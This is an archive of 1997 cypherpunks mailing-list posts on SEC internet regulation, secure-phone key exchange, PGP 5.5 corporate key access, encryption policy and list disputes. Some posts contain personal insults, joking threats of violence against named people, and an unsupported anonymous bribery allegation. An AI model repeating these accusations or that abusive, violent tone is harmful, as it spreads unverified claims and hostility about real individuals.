Date: Tue, 7 Oct 1997 00:03:41 +0800
To: cypherpunks@toad.com
Subject: Gestapo wants to police the Internet
Message-ID: <XcR6De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



US Calls for Internet Funds Police
By Jane Martinson
Financial Times: Friday, October 3, 1997

A US securities regulator called yesterday for international
co-operation on policing the sale of cross-border mutual funds on the
internet.

Douglas Scheidt, assistant director in the investment management
division at the Securities and Exchange Commission, said: "Securities
regulators around the world should work together to find an approach,
and to find it relatively soon to satisfy the needs of everyone
concerned."

Fund managers, particularly in the US, are increasingly using the
internet to market their products to investors around the world. This
causes policing problems when potential customers in other countries are
not covered by regulatory agreements. Regulations surrounding the
cross-border sale of products are still vague.

Mr Scheidt outlined his preferred approach to the issue at a meeting of
the Federation Europeenne des Fonds et Societes d'Investissement, a body
of leading European fund managers, in London yesterday.

This approach would insist on the fund management group clearly stating
the citizens it is allowed to sell to on its home page. Mr Scheidt
suggested simple wording to the effect that only US investors were able
to purchase US mutual funds, for example.

This "disclaimer" would be combined with a demand on managers to screen
out possible purchases from unauthorised countries.

Mr Scheidt advocated a "flexible approach" which recognised that fund
managers could be misled on the country of potential investors but
insisted on proof that they had done everything possible to cut down on
sales to citizens in unauthorised countries.

A solution could be the use of gateways or passwords making it harder
for potential investors to find information about a mutual fund. Mr
Scheidt said the main drawback was the cost.

He also discounted what he described as the "regulator's dream approach"
of insisting on the "facts and circumstances" of every transaction.

He felt that one of the most important virtues of these approaches was
that they did not require any legal changes to enable the internet to be
used as a marketing tool.

He said his department was also keen to look at how fund managers
marketed their products generally to potential clients on the internet.
Changes to products must be sent separately via e-mail or the post.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 7 Oct 1997 01:37:45 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: The Right to Work for Nobody / Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <3438F7E2.7BAE@dev.null>
Message-ID: <199710061723.NAA24597@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3438F7E2.7BAE@dev.null>, on 10/06/97 
   at 08, TruthMonger <tm@dev.null> said:

>In Canada, one could 'choose' not to work for Safeway Stores, but the
>chain would come into a community and undersell everyone until the locals
>were run out of business, then raise prices dramatically. In theory, you
>could choose to *not* work for Safeway, but in reality, there was no one
>else left *to* choose to work for in the grocery  business.

I have these same complaints about WalMart and KMart here in the US. It
should be noted that it is the community that *chooses* to shop at the
discount store rather than at the local shops. If they didn't buy products
from the Safeway or WalMart then you wouldn't have the "problem" above.
Economics 101; the people are voting with their wallets.

This is a prime example of the basis of socialism; envy. The socialist are
envious of the rich as they are a constant reminder of "what could have
been". "If I had only worked a little harder" ... "If I only had spent
more time in school" ... ect. After a period of time this envy turns to
jelousy and rage. "It's not fair" ... "There should be a law" ... ect.

The socialist never thinks of the hard work and personl sacrfise that goes
into creating a "Safeway" or "KMart" or "Walmart". Such companies are not
created by an act of GOD but through hard work and long hours by their
founders. While the socialist is pissing his life away on the road to
medocracy the founders of such companies, and 1000's like them, are
working 80+ hours a week building their company sometimes at the expence
of health, home and family.

After years of hard work, when the founders are finaly able to reap the
fruits of their toil, the socialist will step up and say: "I want what you
have, you can't have that because I don't" even though the socialist has
done nothing to earn it. 

This is the true evil of socialism: "Equiality of Outcome". While the
socialist will make a big show of his desire for "equal opertunity" it is
really "equal outcomes" that he desires. It is like the story of the
grashopper and the ant. Both have the "equal opertunity" durring the
summertime to store up for the winter. The ant choses the path of the
capitalist and works hard all sumer long while the grasshopper choses the
path of the socialist and wastes the days away in play and folly. When
wintertime comes along the ant is well prepaired while the grasshopper is
without. While the capitalist will see the grasshopper getting his just
rewards for his foolhardy behavior the socialist will cry foul, seeing
this as unjust that the ant should have so much and the grasshopper so
little and demaniding that the ant give a portion of his "wealth" (a large
portion no doubt) to the grasshopper thus achiving his desired "equality
of outcome" even the grasshopper has done nothing to deserve such an
outcome.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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cFKsMT4gX0OdqPVuFdjewVsLxTGFcKr2nkLxjWmp62ypH6Nn/uL/R3CPJ6Bsmzzc
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=vHjj
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Mon, 6 Oct 1997 22:33:43 +0800
To: dlv@bwalk.dm.com
Subject: Re: Stronghold 1/2
In-Reply-To: <6e32De9w165w@bwalk.dm.com>
Message-ID: <199710061516.LAA19565@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM writes:

> "Moderation" is a misnomer. C2Net engaged in outright fraud by providing
> a list which C2Net claimed would contain the articles rejected by the
> C2Net moderator, then censoring articles from both the censored and the
> uncensored lists. At least one of my articles (not the one about Stronghold;
> the one quoting the threatening letter from C2net's lawyers) didn't make
> it even to the "unedited" list.

As has been pointed out before, "C2Net" never "provided a list" (at 
least not one relevant to this discussion).  Since it is clear you are
fully aware of that, this is sufficient to "prove" to most of us the
charge of "liar" against you (ignoring the several hundred other 
examples that might come to mind from the last couple of years).
I don't particularly care about this except that it reinforces why
your credibility is so low here.


> Jeff Barber <jeffb@issl.atl.hp.com> wrote:
   [quoting Dimitri:]
> >> Lucky is lying: the censored articles were also filtered from the list which
> >> was billed as being unfiltered.
> >
> >This is revisionist history.  I can't recall any intimation at the
> >time that any messages were filtered from the unfiltered list.
> 
> If you can't recall, I'm quoting a bunch of stuff below. At least one of
> my articles, the one quoting the threatening letter from C2net's lawyers,
> didn't make it even to the "unedited" list.

Since obviously none of us who were on the -unedited list can say for 
sure whether we received everything sent to it, I can't say with 
certainty this never happened.  But....
This is the problem with being known as a liar.  Nobody is inclined to
believe what you say without substantitation.  So I still don't see any
reason to believe that anything was "censored" from the unedited list.


> C2Net's shill called me a liar about a dozen times, yet hasn't presented any
> evidence of me ever lying. On the other hand, C2net's claim that I'm a closet
> homosexual is an outright lie, typical of Sameer Parekh and his employees.

I don't recall ever seeing such a claim from Sameer or anyone else at
C2Net.  Though given your penchant for making such "accusations" 
yourself, one could understand the impulse for making such a claim.

The fact that *you* are constantly accusing people you don't
apparently know of engaging in various sexual acts or holding a certain
sexual orientation is evidence enough that you are unreliable.  It
seems to be your stance that you are free to fabricate anything the
truth of which cannot be utterly *disproven*.  This is consistent with
your allegations against C2Net's product as well as the allegations of 
sexual acts and preferences you habitually make.

Whether you like them or not, this is why libel laws and such exist.
If you accuse someone of having backdoors in their product, but cannot
or will not show any basis for the allegation, it's perfectly
understandable that they might threaten you legally.  And if you're
simply "throwing rocks" at Sameer with no substance behind your
allegations, the rest of us are unlikely to come to your "defense".
Also, here's a little hint (from a non-lawyer): truth is generally a
very good defense to a libel suit.  You may squirm and dance and claim
you don't want to deal with the hassle or expense of a suit, but we
all know precisely what that really means...


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 7 Oct 1997 04:02:19 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Secure phone
In-Reply-To: <199710060125.CAA03034@server.test.net>
Message-ID: <199710061905.MAA22945@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



>> In addition, to keep life even more interesting, prior to exchanging
>> the public exponentials g^x and g^y, commitments (hashes) to those
>> values are exchanged...  If the commitments don't match the final
>> values, the protocol terminates.  
>
>I can't see that this prevents MITM either.
>
>Eve, the attacker, just sends commitments to the values she would have
>sent in performing the MITM were there no commitments.

What the commitment prevents is a birthday attack on the verification
code by Mallet.  Mallet has to be able to come up with a g^x' that
when concatenated with g^y and hashed computes the same verification
code as g^x concatenated with g^y and hashed.

Exchanging commitments to g^x and g^y prior to sending g^x and g^y
severely constrain the the degree of freedom that Mallet has to work
with.  (Another option that works the same way is the "interlock"
protocol, where each side sends half the message (g^x or g^y) and
doesn't send the second half until after receipt of the first half
from the other end).

>Say (for example) if someone smuggled me one of your phones, and I
>called up Tim.  The only protection I'd have is recognizing Tim's
>voice after hearing him speak breifly years ago.  (American accents
>sound similar to me).

None of this is designed to provide authentication of the end point.
It is designed to ensure that you've got a private channel to the end
point. 

>On the other hand, using persistent key public key crypto, Tim has
>been signing his posts recently, and I have an ancient public key of
>his stashed away which his new key is signed with.  If we were able to
>construct a protocol to bolt on top of the reading of hashes, we could
>have much greater protection against MITM.

Agreed.  The primary difficulty is getting the public keys into the
unit.  And agreeing on what kind of certificate to use...  
My preference (for patent reasons) would be to use DSA or ElGamal
signatures.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 7 Oct 1997 03:57:55 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Secure phone
In-Reply-To: <199710061757.SAA01293@server.test.net>
Message-ID: <199710061917.MAA22966@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Bill Frantz <frantz@netcom.com> writes:
> > At 6:25 PM -0700 10/5/97, Adam Back wrote:
> > >On the other hand, using persistent key public key crypto, Tim has
> > >been signing his posts recently, and I have an ancient public key of
> > >his stashed away which his new key is signed with.  If we were able to
> > >construct a protocol to bolt on top of the reading of hashes, we could
> > >have much greater protection against MITM.
> > 
> > Of course if you can use PGP as well as the secure phone, you can use PGP
> > to exchange a pad of one-time passwords.
> 
> The passwords alone don't do you any good: if you read them out over
> the phone, Eve can just repeat them.

There's no reason you couldn't use the passwords in a bidirectional
challenge/response scenario.  The units can pass (optionally
encrypted) control messages back and forth while in secure voice mode.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 7 Oct 1997 04:02:35 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Secure phone
In-Reply-To: <199710061757.SAA01293@server.test.net>
Message-ID: <199710061919.MAA22970@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> How many digits are on the display of one of those phones?  It seems
> that you should be able to concoct something which is easy to compute,
> and offers as much surety as the few digits on the display.

You get 6 big characters that you can see from a couple of feet away,
or three lines of 16 characters that you have to squint at ;-)

(It's a 100 x 32 pixel graphic display).

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 7 Oct 1997 03:30:51 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: The Right to Work for Nobody / Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <199710061723.NAA24597@users.invweb.net>
Message-ID: <34393A0D.7264@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> TruthMonger <tm@dev.null> said:
> 
> >In Canada, one could 'choose' not to work for Safeway Stores, but the
> >chain would come into a community and undersell everyone until the locals
> >were run out of business, then raise prices dramatically. In theory, you
> >could choose to *not* work for Safeway, but in reality, there was no one
> >else left *to* choose to work for in the grocery  business.
> 
> If they didn't buy products
> from the Safeway or WalMart then you wouldn't have the "problem" above.
> Economics 101; the people are voting with their wallets.
> 
> This is a prime example of the basis of socialism; envy. The socialist are
> envious of the rich as they are a constant reminder of "what could have
> been".
>
> The socialist never thinks of the hard work and personl sacrfise that goes
> into creating a "Safeway" or "KMart" or "Walmart". Such companies are not
> created by an act of GOD but through hard work and long hours by their
> founders.

  Nothing personal, shit-for-brains, but this sounds like the 'standard
speech' you have prepared, waiting only for a 'trigger' before you fire
it off...

  I was making reference to the simple fact that 'Caveat Hemptor' still
rules, but does so with the backing of men who can afford to hire thugs
called policemen to back their action.
  My point is that Safeway has every right to bring their competition
to financial ruin, just as Nestle's has every right to give away their
baby formulae for free in impoverished countries, just long enough for
the mother's milk to dry up, at which time their babies die if they
can't afford to buy Nestle's product.
  I reserve the right, however, to whack their sorry asses out if 
I decide that my world will be a better place without their scheming
for their own profit at the expense of those who believe the fairy
tales they tell while planning to buttfuck the people all along.

  The rest of your post is proof that one should not read Ayn Rand
while high on acid, but I'm glad you could get all of that off your
chest, just the same.

  The point I was making, if you care to respond to it once the buzz
wears off, is that the 'playing field' has been twisted so far out of
askew that it is difficult to make any judgements about capitalism
versus socialism, etc., since the world is standing on its head.
  I sincerely doubt that 'capitalists' getting paid 'not to grow' 
cotton/corn/whatever, are a far cry different from the socialists
getting paid 'not to go to work.'

  There are no longer any capitalists or socialists, there are only
people projecting images with political rhetoric and ten-second
sound-bytes.
  I am beginning to think that the *only* way to level the playing
field is with a nuclear grader. (If only I could figure out where 
this damn yellow wire goes...)

TruthMangler

> After years of hard work, when the founders are finaly able to reap the
> fruits of their toil, the socialist will step up and say: "I want what you
> have, you can't have that because I don't" even though the socialist has
> done nothing to earn it.
> 
> This is the true evil of socialism: "Equiality of Outcome". While the
> socialist will make a big show of his desire for "equal opertunity" it is
> really "equal outcomes" that he desires. It is like the story of the
> grashopper and the ant. Both have the "equal opertunity" durring the
> summertime to store up for the winter. The ant choses the path of the
> capitalist and works hard all sumer long while the grasshopper choses the
> path of the socialist and wastes the days away in play and folly. When
> wintertime comes along the ant is well prepaired while the grasshopper is
> without. While the capitalist will see the grasshopper getting his just
> rewards for his foolhardy behavior the socialist will cry foul, seeing
> this as unjust that the ant should have so much and the grasshopper so
> little and demaniding that the ant give a portion of his "wealth" (a large
> portion no doubt) to the grasshopper thus achiving his desired "equality
> of outcome" even the grasshopper has done nothing to deserve such an
> outcome.
> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBNDkgOY9Co1n+aLhhAQFmCwQAzll6zhks8izWPkVgCENJ+/CTuMbQqlDA
> cFKsMT4gX0OdqPVuFdjewVsLxTGFcKr2nkLxjWmp62ypH6Nn/uL/R3CPJ6Bsmzzc
> EVDI0HZOnHUirlOm1c/zz13jGihzLXww1RIcamkixnbWnXH3WPVank1ZQMyBsCab
> 6k9jTZmbY2w=
> =vHjj
> -----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Hughes <eric@sac.net>
Date: Tue, 7 Oct 1997 04:53:57 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <3.0.3.32.19971005185236.00688c68@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19971006132514.033f9a78@mail.sac.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:52 PM 10/5/97 -0700, Bill Stewart wrote:
>Sigh.  A company called I-Planet is trying to trademark the term 
>"Cypherspace", even though we've been using it for a couple of years
>in the cypherpunk community.  

All this fuss is really not such a big deal, as long as the Patent and
Trademark Office <http://www.uspto.gov> hears about it.  I know nothing
about trademark procedure, but I imagine that a letter (or three) to the
PTO referencing the right application number on it could scotch an
application but quick.  Printing out email and adding a stamp seems almost
sufficient.

Maybe the nice folks at i-planet (I know you're getting this) could just
post their application number and save us the trouble of finding it ourselves?

And I checked:  The fee for a formal _ex parte_ appeal filing is only $100.
 I'm sure the i-planet lawyers will spend far more than that defending one
of those.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 20:03:18 +0800
To: cypherpunks@toad.com
Subject: C2Net offers Vulis $100,000 for not talking about Stronghold
Message-ID: <199710061154.NAA24615@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Sameer Parekh called Dmitry Vulis on the phone today and offered him
$100,000 if Vulis promises not to publicize the security flows that
Vulis has found in Stronghold, C2Net's only remaining product.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@democracy.net>
Date: Tue, 7 Oct 1997 03:36:59 +0800
To: fight-censorship@vorlon.mit.edu
Subject: EVENT - Join Rep. Dreier LIVE Online Wednesday Sept 8
Message-ID: <v03102815b05edb80928d@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.14              http://www.democracy.net/           Oct 06 1997
_________________________________________________________________________
Table of Contents

 - Virtual Town Hall Meeting with Rep. David Dreier (R-CA) Wed 10/08
 - About democracy.net
_____________________________________________________________________

DEMOCRACY.NET VIRTUAL TOWN HALL MEETING WITH REP. DAVID DREIER (R-CA)

Join Representative David Dreier (R-CA) live at democracy.net for an
interactive discussion of current Internet policy issues, including efforts
to reform US Encryption policy.

Dreier is a name you need to know. As a member of the House Rules
Committee, Representative Dreier will soon be called upon to help reconcile
the various versions of the Security and Freedom Through Encryption Act
(SAFE, HR 695).

Dreier is a sponsor of the original version of SAFE, and supports efforts
to promote privacy and security on the Internet through the widespread
availability of strong encryption.  However, the FBI, and Rules Committee
Chairman Gerald Solomon (R-NY) are pushing for a version of SAFE which
contains sweeping new domestic encryption restrictions.

Representative Dreier is also a leading advocate for the use of the
Internet and other interactive communications technology to make Congress
more open, accountable, and effective, having played a key role in forming
the 21st Century Congress Project. He has sponsored a campaign finance bill
(HR 1780 - http://thomas.loc.gov/cgi-bin/bdquery/z?d105:h.r.1780:) that
would require candidates to file their donations with the Federal Elections
Commission and disclose them rapidly on the Internet, among other issues
the bill tackles.

Dreier is also a member of the Congressional Internet Caucus.

EVENT DETAILS:

 Date:       Wednesday October 8, 1997
 Time:       8:00 pm Eastern (5:00 pm pacific)
 Location:   http://www.democracy.net

HOW THE TOWN HALL MEETING WORKS:

The democracy.net Virtual Town Hall Meeting will include a moderated
discussion between Rep. Dreier and democracy.net moderator Todd Lappin,
cybercast live via RealAudio. Participants can join a simultaneous chat
forum to pose questions for the moderator and discuss the proceedings.
Questions can also be submitted via a form on the democracy.net web site
(http://www.democracy.net/questions/)

WHAT YOU'LL NEED:

You will need a copy of RealAuido and a telnet application to participate.
Both are available free at http://www.democracy.net/

We hope you will join us for an interesting discussion.
_______________________________________________________________________________
REPRESENTATIVE DRIER ON THE SECURITY AND FREEDOM THROUGH ENCRYPTION ACT (SAFE):

  "Export controls on encryption software put U.S. firms at a disadvantage
   against foreign competitors who are permitted to sell more advanced
   software on the international market.  These controls also fail to
   prevent foreign software companies from producing advanced encryption
   software.  I support H.R. 695, the Security and Freedom Through
   Encryption (SAFE) Act, which addresses the concerns of our law
   enforcement and intelligence agencies by permitting the export of
   encryption software which is as advanced as software widely available on
   the international market."

_____________________________________________________________________________
SHORT BIOGRAPHY OF REP. DRIER (from http://www.house.gov/dreier)

Congressman David Dreier (R-CA) is in his ninth term representing the
eastern cities of Los Angeles County.  He serves on the House Rules
Committee and chairs the Subcommittee on Rules and Organization of the
House.  In 1996, the Subcommittee set up the 21st Century Congress
Project to develop and recommend changes in Congress' operations and
legislative procedures that will allow technology to make the
institution more open, accountable and effective.  The subcommittee held
two hearings on the impact of new information technologies on the
legislative process and decision-making.  The first was an interactive
hearing that utilized television, video conference technology, e-mail
and the Internet.  Information about the 21st Century Congress Project
and the testimony and transcripts of the two technology hearings can be
accessed on the Subcommittee Web site at http://www.house.gov/rules_org.

Dreier is a member of the bipartisan, bicameral Congressional Internet
Caucus.  Working with Congressman Rick White, he pushed through the new
House rule requiring committees to put their publications on the
Internet.  Dreier's office Web site is considered one of the most
comprehensive and informative on Capitol Hill.  There, citizens can gain
obtain information on Dreier's legislative priorities, access CRS
reports and other hard-to-find resources on how Congress works, and
communicate directly with the Congressman by Web mail.

Legislatively, Dreier is a cosponsor of the Security and Freedom
Through Encryption (SAFE) Act.  He is also the sponsor of the Voter
Empowerment Act, which reforms the campaign finance by, among other
things, requiring all disclosure information to be made available on the
Internet, and requiring the FEC to publish an expansive Internet site
which would contain a separate page for every Congressional and
Presidential candidate, each PAC, and every national party.

___________________________________________________________________________
ABOUT DEMOCRACY.NET

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of
WebActive, Public Access Networks, theSync, and Democracy Network.
More information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/   To stop receiving these
announcements, please send email to majordomo@democracy.net with
"unsubscribe events" in the body of the message.
_________________________________________________________________________
end update no.14                                                 10/06/97
=========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Spirito <berezina@qed.net>
Date: Tue, 7 Oct 1997 02:43:29 +0800
To: seesignature@ceddec.com
Subject: Re: The Child Molester Prevention and Effective Sentencing Act
In-Reply-To: <v0300780fb051e6b8720d@[168.161.105.141]>
Message-ID: <3.0.3.32.19971006142118.007b3960@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



>What if you want to send a message to your child saying you will be late
>after school.  What is to prevent a pedophile from forging such a message?
>And if a pedophile intercepts such a message, couldn't he arrive 5 minutes
>early saying that "dad changed his plans again and sent me...".
>
>Now, Rep. Tauzin wants to make it illegal to listen in to any "private" 
>radio communication (yes listen, not just repeat), since Gingrich couldn't
>have access to encrypted communication and someone listened in on his cell
>phone.  One law prevents security from being available, so they think that
>a second law will prevent people from listening in.
>
>Repealing a law preventing fences is more effective than adding a
>draconian penalty for tresspass. 

I try to avoid "me too" posts, but I agree 100% with this. Somehow we have
to convince a bunch of legislators that technological solutions are
superior or legal ones in protecting info-privacy. Perhaps an analogy with
welfare might help (at least with conservative members): access to crypto
vs. laws protecting privacy is like private job creation vs. welfare. Do we
want to live in a state where we are mandated to rely on the government for
privacy (even if we could trust the government)?

Thanks also for the concrete example of how pedophiles could make use of a
parent's lack of encryption/signing.

Paul

Oh freddled gruntbuggly thy micturations are to me
As plurdled gabbleblotchits on a lurgid bee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 6 Oct 1997 22:08:05 +0800
To: tcmay@got.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <199710061355.OAA01789@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> I agree that an employer has a "right" to read employee mail, sent on
> company time with company resources.
> 
> However, a program which facillitates this has no business being called
> "Pretty Good Privacy." As Phil notes, it goes against the whole spirit of
> PGP. It's surveillance, pure and simple.
> 
> Further, while businesses have every right to monitor their workers (Hey,
> I'm not saying I _like_ this, just that the alternative of banning such
> monitoring would be abusive to a property owner's rights), we should not be
> _encouraging_ the spread of such technologies. Especially given the very
> real risk that wide deployment of "Business PGP" could present.

I agree with Tim's point that we should not be encouraging businesses
to use GAK technologies for Corporate access to keys.

Your "choice" not to work for a company which uses software like
pgp5.5 is likely to become ever more limited if corporates adopt this
type of policy.  They will be conditioned to expect this.  Governments
will of course encourage corporates to use such software.

I'd prefer to see an "off-the-record" option: a personal comment
option, with non-transferable signatures, and no GAK; this would give
the user the option to have the mail as an official company statement,
by clicking "official company business" button, and an option for
unofficial, or "not an official statement" button, which are more akin
to phone conversations which are typically not recorded.

Personal comments are in any case probably in the companies interests
not to have transferable proof of authorship attached to.  Many email
comments are sent with a few seconds thought, a sort of too and fro
banter between employees, some of whom have business company contacts
who are also personal friends, etc.  Actually for maximal
non-transferability all "not an official statement" email should be
sent via mixmaster remailers, otherwise mail logs etc, may give some
material which could be used as proof of authorship.

This set up seems less troublesome than pgp's offering with pgp5.5.  I
reckon it's more sensible to archive "official company business"
communications in the normal way.  Compose the message in a word
processor, archive that, or build in an archive mechanism into the
MUA/mail encryption system which encrypts to a storage system.

Communications encryption keys should be transient, otherwise you are
opening your self up to the less often considered form of key escrow:
your company or you are presented with a court order for your keys.
Or the Feds burgle your offices and install keyboard sniffer.  If
they're interested in you they will already have hoovered up your past
email with cooperation of your leased line providor.

I really think people are asking for trouble not using forward secrecy
for secured email.  The attacker can archive all your encrypted email,
and then decrypt at his leisure if he is able to compromise your key
at a later date.


Also I seem to remember that Tim, or perhaps someone else, reported
that PRZ stated at a recent cpunks meeting that he would quit PGP Inc
if they went for a GAK option.

Well Phill?  Getting pretty close ain't it?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 7 Oct 1997 03:25:15 +0800
To: cypherpunks@toad.com
Subject: "Fear and loathing of cyberspace not uncommon"
Message-ID: <v03007805b05ee9830866@[204.254.22.76]>
MIME-Version: 1.0
Content-Type: text/plain



[I just got back from Fox News, where I was on with someone from the
Chicago Bar and Donna Rice-Hughes (yes, that Donna Rice). Rice-Hughes, now
an anti-porn activist at Enough is Enough, did her part to promote fear and
loathing of cyberspace. "Chatrooms are a pedophile's playground. Kids are
falling through the cracks." She called for more obscenity prosecutions
online, but told me afterwards she didn't endorse labelling schemes like
RSACi. --Declan]

***************

By DONALD M. ROTHBERG
Associated Press Writer

	WASHINGTON (AP) - The world runs on computers and, in a sense,
computers run the world. But all this technological progress comes at a
price, a new problem psychologists call computer phobia.
	It is everywhere - in private industry, in government and in the
home. For many people computers are wondrous machines offering access to a
vast world of knowledge.
	But to others they are impersonal monsters that react to an errant
key stroke with this brusque message: "You have performed an illegal
operation. This computer will shut down."
	When the car or the dishwasher breaks down, people curse the
machine. Often when the computer malfunctions, the first reaction is, "What
have I done wrong?"
	Nowhere is the problem of computer phobia likely to show up the
most than in the federal government. The government has millions of
computers. Literally.
	Larry Irving, assistant secretary of commerce for communications
and information, said there are people "who resist and people who are
intimidated" by the increasingly technological focus of their jobs.
	"It's a problem, but it's not insurmountable," he said. "You just
have to find a reason for people to get over it."
	Irving cited the man at the top of the government. "My sense is the
president did not spend a lot of time doing personal e-mail until his
daughter went to college," he said.
	"A lot of people are embarrassed about saying they're afraid of
computers," said Carol Goldberg, a clinical psychologist who conducts
workshops to help corporations deal with technological stress.
	Michelle Weil, a clinical psychologist in Orange, Calif., and
co-author of the book, "TechnoStress: Coping with Stress at Work, at Home,
at Play," said about 15 percent of people love technology and up to 25
percent of the rest are what she called "resisters."
	"The resisters will have higher stress, lower productivity, less
efficiency and higher workers comp claims," she said.
	As the biggest user of computers, has the government seen greater
absenteeism as technology grows?
	"I suspect that may be true," said Don Heffernan, assistant chief
information officer at the General Services Administration, the government
property agency.
	A year ago, every GSA employee was given Internet access, Heffernan
said. "Going into that we knew there were going to be people, even people
who used computers a bit, who were going to be intimidated by the
Internet," he said.
	To help employees adjust to the new technology, GSA Administrator
David Barram urged those who were experienced in using the Internet to
"become five-minute tutors" for those intimidated by the technology.
	Weil is less confident than the government officials that getting
over computer phobia is just a matter of incentive.
	"This problem has not gone away," she said. "In fact, it's getting
worse. We wondered that as technology got more commonplace in society
wouldn't people just get used to it.
	"The answer is no. In fact, some of the technology now makes less
sense than the technology did 15 years ago."
	Irving, the Commerce Department official, said the biggest
indication that people are overcoming computer phobia is in one huge
number. "This year 2.7 trillion e-mail are going to be sent around the
world," he said.
	"That means a lot of people have overcome their paranoia and their
phobia."

Donald M. Rothberg has covered the federal government for The Associated
Press in Washington since 1966.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Flesh <flesh@pigdog.org>
Date: Tue, 7 Oct 1997 06:41:06 +0800
To: cypherpunks@toad.com
Subject: Re: [Pigdog] ViaCrypt slowly excecutes Timmy C. May
In-Reply-To: <3437F185.24C3@dev.null>
Message-ID: <3.0.2.32.19971006152507.03229370@mail.nwlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 7 Oct 1997 04:30:31 +0800
To: cypherpunks@toad.com
Subject: One More Donna Rice Ad Hominem (Was Re: "Fear and loathing ofcyberspace not uncommon")
